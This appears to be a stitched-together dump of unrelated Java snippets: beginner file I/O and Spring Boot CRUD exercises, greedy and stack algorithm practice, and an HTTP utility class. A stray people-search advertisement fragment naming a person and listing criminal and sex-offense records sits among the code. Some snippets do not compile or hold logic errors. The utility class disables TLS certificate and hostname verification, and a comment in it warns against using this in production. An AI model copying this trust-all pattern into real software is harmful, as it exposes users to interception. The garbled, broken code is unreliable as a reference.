  private String name;
  private int age;
  private static final long serialVersionUID = 1L; 
 
  public Person(String name, int age) {
    this.name = name;
    this.age = age;
  }  
 
  public static void main(String[] args) throws FileNotFoundException, IOException{
    Person michael = new Person("Michael", 26);
    Person peter = new Person("Peter", 37);
 
    FileOutputStream fileOutputStream = new FileOutputStream("persons.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 
    objectOutputStream.writeObject(michael);
    objectOutputStream.writeObject(peter);    
  }
} 

import java.io.FileReader;
import java.io.IOException;

public class Introduction {
  public static void main(String[] args) {
    String path = "/a/bad/file/path/to/thisFile.txt";
    try {
      FileReader reader = new FileReader(path);  
      while (reader.ready()) {    
        System.out.print((char) reader.read());    
      }    
      reader.close();
    } catch (IOException e) {
      System.out.println("There has been an IO exception!");
      System.out.println(e);
    }
  }
}

import java.io.*;


public class Introduction {
  public static void main(String[] args) throws IOException {
    FileOutputStream output = new FileOutputStream("output.txt");
    String outputText = "bla,bla,bla";
    byte[] outputBytes = outputText.getBytes();
    output.write(outputBytes);
    output.close();
  }
}

import java.io.*;


public class Introduction {
  public static void main(String[] args) throws IOException {
    String path = "/home/ccuser/workspace/java-input-and-output-file-input-stream/input.txt";
    FileInputStream input1 = new FileInputStream(path);
    int i = 0;
// A loop to access each character
    while((i = input1.read()) != -1) {
      System.out.print((char)i);
    }
    input1.close();
  }
}

public static int chocola(int n, int m,int[] hArray, int [] vArray) {
        Arrays.sort(hArray);
        Arrays.sort(vArray);
        int h=0,v=0,hp=1,vp=1;
        int cost=0;
        while(h<hArray.length && v<vArray.length){
            if(vArray[vArray.length-v-1]<=hArray[hArray.length-h-1]){
                cost+=hArray[hArray.length-h-1]*vp;
                hp++;
                h++;
            }
            else{
                cost+=vArray[vArray.length-v-1]*hp;
                vp++;
                v++;
            }
        }
        while(h<hArray.length){
            cost+=hArray[hArray.length-h-1]*vp;
            hp++;
            h++;
        }
        while(v<vArray.length){
            cost+=vArray[vArray.length-v-1]*hp;
            vp++;
            v++;
        }
        return cost;
    }
    public static void main(String[] args){
        String s= new String("hi");
        System.out.println(s.);
        int n=4, m=6;
        int[] hArray={2,1,3,1,4};
        int[] vArray={4,1,2};
        System.out.println(chocola(n,m,hArray,vArray));
    }
}

 public static double maxValue(int[] weight, int[] value, int capacity){
        double[][] ratio=new double[weight.length][2];
        for(int i=0;i< weight.length;i++){
            ratio[i][0]=i;
            ratio[i][1]=value[i]/(double)weight[i];
        }
        Arrays.sort(ratio,Comparator.comparingDouble(o->o[1]));
        double val=0;
        for(int i= weight.length-1;i>=0;i--){
            int idx=(int)ratio[i][0];
            if(capacity>=weight[idx]){
                val+=value[idx];
                capacity-=weight[idx];
            }
            else{
                val+=capacity*ratio[i][1];
                capacity=0;
                break;
            }
        }
        return val;
    }
    public static void main(String[] args){
       int[] weight={10,20,30};
       int[] value={60,100,120};
       int capacity=50;
        System.out.println(maxValue(weight,value,capacity));
    }

public static void main(String[] args){
        int[] start={1,3,0,5,8,5};
        int[] end={2,4,6,7,9,9};
        int[][] activities=new int[start.length][3];
        ArrayList<Integer> ans=new ArrayList<>();
        for(int i=0;i< start.length;i++){
            activities[i][0]=i;
            activities[i][1]=start[i];
            activities[i][2]=end[i];
        }

        Arrays.sort(activities, Comparator.comparingDouble(o->o[2]));
        int maxAct=1;
        int lastEnd=activities[0][2];
        ans.add(activities[0][0]);
        for(int i=1;i<end.length;i++){
            if(lastEnd<=activities[i][1]){
                maxAct++;
                lastEnd=activities[i][2];
                ans.add(activities[i][0]);
            }
        }
        System.out.println(maxAct);
        System.out.println(ans);
    }

server.port=4001
spring.jackson.default-property-inclusion = NON_NULL
spring.jpa.defer-datasource-initialization= true
spring.jpa.hibernate.ddl-auto=create-drop
spring.jpa.hibernate.hbm2ddl.auto=create
spring.jpa.hibernate.use-new-id-generator-mappings=false
spring.datasource.initialization-mode=never
spring.datasource.url=jdbc:h2:file:~/boots.db

package com.codecademy.plants.repositories;
import java.util.List; 
import org.springframework.data.repository.CrudRepository;
import com.codecademy.plants.entities.Plant;

public interface PlantRepository extends CrudRepository<Plant, Integer> {
  List<Plant> findByHasFruitTrue();
  List<Plant> findByHasFruitFalse();
  List<Plant> findByQuantityLessThan(Integer quantity);
  List<Plant> findByHasFruitTrueAndQuantityLessThan(Integer quantity);
  List<Plant> findByHasFruitFalseAndQuantityLessThan(Integer quantity);
}

//Controller
@GetMapping("/plants/search")
  public List<Plant> searchPlants(
    @RequestParam(name="hasFruit", required = false) Boolean hasFruit,
    @RequestParam(name="maxQuantity", required = false) Integer quantity
  ) {
    if (hasFruit != null && quantity != null && hasFruit) {
      return this.plantRepository.findByHasFruitTrueAndQuantityLessThan(quantity);
    }
    if (hasFruit != null && quantity != null && !hasFruit) {
      return this.plantRepository.findByHasFruitFalseAndQuantityLessThan(quantity);
    }
    if (hasFruit != null && hasFruit) {
      return this.plantRepository.findByHasFruitTrue();
    }
    if (hasFruit != null && !hasFruit) {
      return this.plantRepository.findByHasFruitFalse();
    }
    if (quantity != null) {
      return this.plantRepository.findByQuantityLessThan(quantity);
    }
    return new ArrayList<>();
  }

//Repository
List<Person> findByEyeColorAndAgeLessThan(String eyeColor, Integer age);
//Controller
@GetMapping("/people/search")
public List<Person> searchPeople(
  @RequestParam(name = "eyeColor", required = false) String eyeColor,
  @RequestParam(name = "maxAge", required = false) Integer maxAge 
) {
  if (eyeColor != null && maxAge != null) {
    return this.personRepository.findByEyeColorAndAgeLessThan(eyeColor, maxAge);
  } else if (eyeColor != null) {
    return this.personRepository.findByEyeColor(eyeColor);
  } else if (maxAge != null) {
    return this.personRepository.findByAgeLessThan(maxAge);
  } else {
    return new ArrayList<>();
  }
}

package com.codecademy.people.repositories;
import java.util.List; 
import org.springframework.data.repository.CrudRepository;
import com.codecademy.people.entities.Person;

//Repository folder
public interface PersonRepository extends CrudRepository<Person, Integer> {
  // this declaration is all we need!
  List<Person> findByEyeColor(String eyeColor);
  List<Person> findByAgeLessThan(Integer age); 
}

//Controller folder
	@GetMapping("/people/search")
	public List<Person> searchPeople(@RequestParam(name = "eyeColor", required = false) String eyeColor) {
  if (eyeColor != null) {
    return this.personRepository.findByEyeColor(eyeColor)
  } else {
    return new ArrayList<>();
  }
}

//Advanced Controller folder
@GetMapping("/people/search")
public List<Person> searchPeople(
  @RequestParam(name = "eyeColor", required = false) String eyeColor,
  @RequestParam(name = "maxAge", required = false) Integer maxAge 
) {
  if (eyeColor != null) {
    return this.personRepository.findByEyeColor(eyeColor)
  } else if (maxAge != null) {
    return this.personRepository.findByAgeLessThan(maxAge);
  } else {
    return new ArrayList<>();
  }
}

package com.codecademy.plants.repositories;

import java.util.List;

import org.springframework.data.repository.CrudRepository;

import com.codecademy.plants.entities.Plant;

public interface PlantRepository extends CrudRepository<Plant, Integer> {
}

package com.codecademy.plants.entities;

import javax.persistence.Entity;
import javax.persistence.Table;
import javax.persistence.Column;
import javax.persistence.Id;
import javax.persistence.GeneratedValue;

@Entity
@Table(name = "PLANTS")
public class Plant {

  @Id
  @GeneratedValue
  private Integer id;

  @Column(name = "NAME")
  private String name;

  @Column(name = "QUANTITY")
  private Integer quantity;

  @Column(name = "WATERING_FREQUENCY")
  private Integer wateringFrequency;

  @Column(name = "HAS_FRUIT")
  private Boolean hasFruit;

  public Integer getId() {
    return this.id;
  }

  public String getName() {
    return this.name;
  }

  public Integer getQuantity() {
    return this.quantity;
  }

  public Integer getWateringFrequency() {
    return this.wateringFrequency;
  }

  public Boolean getHasFruit() {
    return this.hasFruit;
  }

  public void setId(Integer id) {
    this.id = id;
  }

  public void setName(String name) {
    this.name = name;
  }

  public void setQuantity(Integer quantity) {
    this.quantity = quantity;
  }

  public void setWateringFrequency(Integer wateringFrequency) {
    this.wateringFrequency = wateringFrequency;
  }

  public void setHasFruit(Boolean hasFruit) {
    this.hasFruit = hasFruit;
  }

}

package com.codecademy.plants.controllers;

import java.lang.Iterable;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;

import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;

import com.codecademy.plants.entities.Plant;
import com.codecademy.plants.repositories.PlantRepository;

@RestController
public class PlantController {

  private final PlantRepository plantRepository;

  public PlantController(final PlantRepository plantRepository) {
    this.plantRepository = plantRepository;
  }

  @GetMapping("/plants")
  public Iterable<Plant> getAllPlants() {
    return this.plantRepository.findAll();
  }

  @GetMapping("/plants/{id}")
  public Optional<Plant> getPlantById(@PathVariable("id") Integer id) {
    return this.plantRepository.findById(id);
  }

  @PostMapping("/plants")
  public Plant createNewPlant(@RequestBody Plant plant) {
    Plant newPlant = this.plantRepository.save(plant);
    return newPlant;
  }

  @PutMapping("/plants/{id}")
  public Plant updatePlant(
    @PathVariable("id") Integer id,
    @RequestBody Plant p
  ) {
    Optional<Plant> plantToUpdateOptional = this.plantRepository.findById(id);
    if (!plantToUpdateOptional.isPresent()) {
      return null;
    }
    Plant plantToUpdate = plantToUpdateOptional.get();
    if (p.getHasFruit() != null) {
      plantToUpdate.setHasFruit(p.getHasFruit());
    }
    if (p.getQuantity() != null) {
      plantToUpdate.setQuantity(p.getQuantity());
    }
    if (p.getName() != null) {
      plantToUpdate.setName(p.getName());
    }
    if (p.getWateringFrequency() != null) {
      plantToUpdate.setWateringFrequency(p.getWateringFrequency());
    }
    Plant updatedPlant = this.plantRepository.save(plantToUpdate);
    return updatedPlant;
  }

  @DeleteMapping("/plants/{id}")
  public Plant deletePlant(@PathVariable("id") Integer id) {
    Optional<Plant> plantToDeleteOptional = this.plantRepository.findById(id);
    if (!plantToDeleteOptional.isPresent()) {
      return null;
    }
    Plant plantToDelete = plantToDeleteOptional.get();
    this.plantRepository.delete(plantToDelete);
    return plantToDelete;
  }
}

package com.cyberspace.tla.migrate.utils;

import com.cyberspace.tla.migrate.config.ConfigLoad;
import com.google.gson.JsonObject;
import javafx.util.Pair;
import okhttp3.*;
import okhttp3.OkHttpClient.Builder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import javax.net.ssl.*;
import java.io.IOException;
import java.net.SocketTimeoutException;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.util.*;
import java.util.concurrent.TimeUnit;

public class RESTUtil {
    public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");
    public static final MediaType FORM = MediaType.parse("application/x-www-form-urlencoded");
    public static Logger LOG = LoggerFactory.getLogger(RESTUtil.class);
    static OkHttpClient client = null;

    static OkHttpClient getClient(){
        if(client == null){
            client = new OkHttpClient();
            client = trustAllSslClient(client);
        }
        return client;
    }

    /*
    * This is very bad practice and should NOT be used in production.
    */
    private static final TrustManager[] trustAllCerts = new TrustManager[] {
            new X509TrustManager() {
                @Override
                public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {
                }

                @Override
                public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {
                }

                @Override
                public java.security.cert.X509Certificate[] getAcceptedIssuers() {
                    return new java.security.cert.X509Certificate[]{};
                }
            }
    };
    private static final SSLContext trustAllSslContext;
    static {
        try {
            trustAllSslContext = SSLContext.getInstance("SSL");
            trustAllSslContext.init(null, trustAllCerts, new java.security.SecureRandom());
        } catch (NoSuchAlgorithmException | KeyManagementException e) {
            throw new RuntimeException(e);
        }
    }
    private static final SSLSocketFactory trustAllSslSocketFactory = trustAllSslContext.getSocketFactory();

    public static OkHttpClient trustAllSslClient(OkHttpClient client) {
//        LOG.warn("Using the trustAllSslClient is highly discouraged and should not be used in Production!");
        int timeoutInSec = Integer.parseInt(ConfigLoad.getConfigLoad().getConfig("service.timeout.sec"));
//        int timeoutInSec = 5;
        Builder builder = client.newBuilder()
                .writeTimeout(timeoutInSec, TimeUnit.SECONDS)
                .readTimeout(timeoutInSec, TimeUnit.SECONDS);
        builder.sslSocketFactory(trustAllSslSocketFactory, (X509TrustManager)trustAllCerts[0]);
        builder.hostnameVerifier(new HostnameVerifier() {
            @Override
            public boolean verify(String hostname, SSLSession session) {
                return true;
            }
        });
        return builder.build();
    }

    public static String post(String url, String json, Map<String, String> headers) throws IOException {
        if (headers == null) {
            headers = new HashMap<>();
        }
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .headers(Headers.of(headers))
                .build();
        try {
            LOG.info("send json " + json + " to url " + url);
            Response response = getClient().newCall(request).execute();
            String ans = response.body().string();
            return ans;
        } catch (SocketTimeoutException e){
            LOG.error("TIME OUT, " + e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String timeOutError = ConfigLoad.getConfigLoad().getConfig("error.timeout");
            timeOutObj.addProperty("error", timeOutError);
            return GsonUtil.toJson(timeOutObj);
        } catch (IOException e) {
            LOG.error(e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String noDataError = ConfigLoad.getConfigLoad().getConfig("error.nodata");
            timeOutObj.addProperty("error", noDataError);
            return GsonUtil.toJson(timeOutObj);
        }
    }

    public static String postNoLog(String url, String json, Map<String, String> headers) throws IOException {
        if (headers == null) {
            headers = new HashMap<>();
        }
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .headers(Headers.of(headers))
                .build();
        try {
            Response response = getClient().newCall(request).execute();
            String ans = response.body().string();
            return ans;
        } catch (SocketTimeoutException e){
            LOG.error("TIME OUT, " + e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String timeOutError = ConfigLoad.getConfigLoad().getConfig("error.timeout");
            timeOutObj.addProperty("error", timeOutError);
          System.out.println("timeout");
            return GsonUtil.toJson(timeOutObj);
        } catch (IOException e) {
            LOG.error(e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String noDataError = ConfigLoad.getConfigLoad().getConfig("error.nodata");
            timeOutObj.addProperty("error", noDataError);
          System.out.println("no data");
            return GsonUtil.toJson(timeOutObj);
        }
    }

    public static String post(String url, List<Pair<String, String>> form, Map<String, String> headers) throws IOException {
        if (headers == null) {
            headers = new HashMap<>();
        }
        String stringForm = "";
        for (Pair<String, String> param: form) {
            stringForm += "&"+ param.getKey() +"="+ param.getValue();
        }

        stringForm = stringForm.substring(1);
        RequestBody body = RequestBody.create(FORM, stringForm);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .headers(Headers.of(headers))
                .build();
        try {
            LOG.info("send formdata " + stringForm + " to url " + url);
            Response response = getClient().newCall(request).execute();
            String ans = response.body().string();
            return ans;
        } catch (SocketTimeoutException e){
            LOG.error("TIME OUT, " + e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String timeOutError = ConfigLoad.getConfigLoad().getConfig("error.timeout");
            timeOutObj.addProperty("error", timeOutError);
            return GsonUtil.toJson(timeOutObj);
        } catch (IOException e) {
            LOG.error(e.getMessage());
            JsonObject timeOutObj = new JsonObject();
            String noDataError = ConfigLoad.getConfigLoad().getConfig("error.nodata");
            timeOutObj.addProperty("error", noDataError);
            return GsonUtil.toJson(timeOutObj);
        }
    }

    public static String get(String url, Map<String, String> headers) throws IOException {
        String result = "{}";
        try{
            if (headers == null) {
                headers = new HashMap<>();
            }
            Request request = new Request.Builder()
                    .url(url)
                    .get()
                    .headers(Headers.of(headers))
                    .build();
            LOG.info("Get url " + url);
            LOG.info("Header: " + headers);
            Response response = getClient().newCall(request).execute();
            result =  response.body().string();
//            LOG.info("Response: " + result);
        }catch (SocketTimeoutException e){
            LOG.error("Time out when get url " + url);
            JsonObject timeOutObj = new JsonObject();
            timeOutObj.addProperty("isTimeOut", "true");
            return GsonUtil.toJson(timeOutObj);
        }catch (Exception e){
            LOG.error(e.getMessage());
        }
        return result;
    }

    public static String get(String url, Map<String, String> headers, Map<String, String> params){
      String result = "{}";
      try{
        if (headers == null) {
          headers = new HashMap<>();
        }
//        create Http url with adding params
        HttpUrl.Builder httpUrl = HttpUrl.parse(url).newBuilder();
        if(params != null){
          for(Map.Entry<String, String> param : params.entrySet()) {
            httpUrl.addQueryParameter(param.getKey(),param.getValue());
          }
        }
        Request request = new Request.Builder()
          .url(httpUrl.build())
          .get()
          .headers(Headers.of(headers))
          .build();
        LOG.info("Get url " + url);
        LOG.info("Header: " + headers);
        LOG.info("Params" + params);
        Response response = getClient().newCall(request).execute();
        result =  response.body().string();
//            LOG.info("Response: " + result);
      }catch (SocketTimeoutException e){
        LOG.error("Time out when get url " + url);
        JsonObject timeOutObj = new JsonObject();
        timeOutObj.addProperty("isTimeOut", "true");
        return GsonUtil.toJson(timeOutObj);
      }catch (Exception e){
        LOG.error(e.getMessage());
      }
      return result;
    }

}

 9C9299

Gain Unlimited Access to:
Raymond M.

38 Years Old

Location:

Phone:

Full Name
Address History
Age & DOB
Sexual Offenses
Possible Relatives
Social Information
Criminal History
Phone Numbers
Marriage Records
Misdemeanors
Unclaimed Money
Much More!

package com.codecademy.ccapplication;
import java.util.List;
import java.lang.Iterable;
import java.util.Date;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.PathVariable;

@RestController
@RequestMapping("/superHeroes")
public class SuperHeroController {

  private final SuperHeroRepository superHeroRepository;
  private final SuperReportRepository superReportRepository;

  public SuperHeroController(SuperHeroRepository superHeroRepository, SuperReportRepository superReportRepository) {
    this.superHeroRepository = superHeroRepository;
    this.superReportRepository = superReportRepository;
  }

  @GetMapping()
	public Iterable<SuperHero> getSuperHeros() {
    Iterable<SuperHero> superHeroes = superHeroRepository.findAll();
    return superHeroes;
	}

  @PostMapping(path="/addNew")
  public String createNewSuperHero(@RequestParam String firstName, @RequestParam String lastName, @RequestParam String superPower) {
    SuperHero newSuperHero = new SuperHero(firstName, lastName, superPower);
    superHeroRepository.save(newSuperHero);
    return "New Super Hero successfully added!";
  }

  @PostMapping(path="/help")
  public String postHelp(@RequestParam String postalCode, @RequestParam String streetAddress) {
    SuperReport newSuperReport = new SuperReport(postalCode, streetAddress, "");
    superReportRepository.save(newSuperReport);
    return "Thanks! Super Heroes have been dispatched to your location!";
  }

  @GetMapping(path="/heroReport")
  public Iterable<SuperReport> getHeroReport() {
    Iterable<SuperReport> superReport = superReportRepository.findAll();
    return superReport;
  }

  @PostMapping(path="/{postalCode}")
  public Iterable<SuperReport> getHeroReportByPostal(@PathVariable String postalCode) {
    Iterable<SuperReport> superReport = superReportRepository.findByPostalCode(postalCode);
    return superReport;
  }
}

import java.util.Stack;

public class HistogramArea {
   /* public static int minVal(int[] arr, int i,int j){
        int min= Integer.MAX_VALUE;
        for(int k=i;k<=j;k++){
            min=Math.min(min,arr[k]);
        }
        return min;
    }
    public static int maxArea(@NotNull int[] arr){
        int max=Integer.MIN_VALUE, area=0;
        for(int i=0;i< arr.length;i++){
            for (int j = i; j < arr.length; j++) {
                int width=j-i+1;
                int length=minVal(arr,i,j);
                area=length*width;
                max=Math.max(area,max);
            }
        }
        return max;
    }*/
    public static void maxArea(int[] arr){
        int maxArea=0;
        int[] nsr =new int[arr.length];
        int[] nsl =new int[arr.length];
        Stack<Integer> s=new Stack<>();
        //next smaller right
        for (int i = arr.length-1; i >=0 ; i--) {
            while(!s.isEmpty()&&arr[s.peek()]>=arr[i]){
                s.pop();
            }
            if(s.isEmpty()) nsr[i]=arr.length;
            else nsr[i]=s.peek();
            s.push(i);
        }

        s=new Stack<>();
        //next smaller left
        for (int i = 0;i<arr.length;i++) {
            while(!s.isEmpty()&&arr[s.peek()]>=arr[i]){
                s.pop();
            }
            if(s.isEmpty()) nsl[i]=arr.length;
            else nsl[i]=s.peek();
            s.push(i);
        }

        for (int i = 0; i < arr.length; i++) {
            int h=arr[i];
            int w=nsr[i]-nsl[i]-1;
            int area=h*w;
            maxArea=Math.max(area,maxArea);
        }
        System.out.println(maxArea);
    }

    public static void main(String[] args){
        int[] arr={2,1,5,6,2,3};
        maxArea(arr);
    }
}

import java.util.Stack;

public class Parenthesis {
    public static boolean isValid(String str){
        Stack<Character> s=new Stack<>();
        int i=0;
        while(i<str.length()){
            if(str.charAt(i)=='('||str.charAt(i)=='{'||str.charAt(i)=='[') s.push(str.charAt(i));
            if(!s.isEmpty()){
                if((str.charAt(i)==')'&&s.peek()=='(')
                        ||(str.charAt(i)=='}'&&s.peek()=='{')
                        ||(str.charAt(i)==']'&&s.peek()=='[')){
                    s.pop();
                }
            }
            i++;
        }
        return s.isEmpty();
    }
    
    public static boolean duplicateParenthesis(String str){
        if(isValid(str)){
            Stack<Character> s=new Stack<>();
          for(int i=0;i<str.length();i++){
              if(str.charAt(i)==')'){
                  int count=0;
                  while(s.pop()!='(') count++;
                  if(count==0) return true;
              }
              else s.push(str.charAt(i));
          }
        }
        return false;
    }
    public static void main(String[] args){
        String str="((a+b)+((c+d)))";
        System.out.println(duplicateParenthesis(str));

    }
}

import java.util.Stack;
public class StockSpan {
    public static void stockSpan(int[] arr) {
        int[] span = new int[arr.length];
        Stack<Integer> s = new Stack<>();
        span[0] = 1;
        s.push(0);
        for(int i = 1; i < arr.length; i++) {
            while (!s.isEmpty() && arr[i] > arr[s.peek()]) s.pop();
            if (s.isEmpty()) span[i] = i + 1;
            else span[i] = i - s.peek();
            s.push(i);
            }
        for (int j : span) {
            System.out.println(j + " ");
        }
        return;
    }
    public static void main(String[] args){
        int[] arr={100,80,60,70,60,85,100};
        stockSpan(arr);
    }
}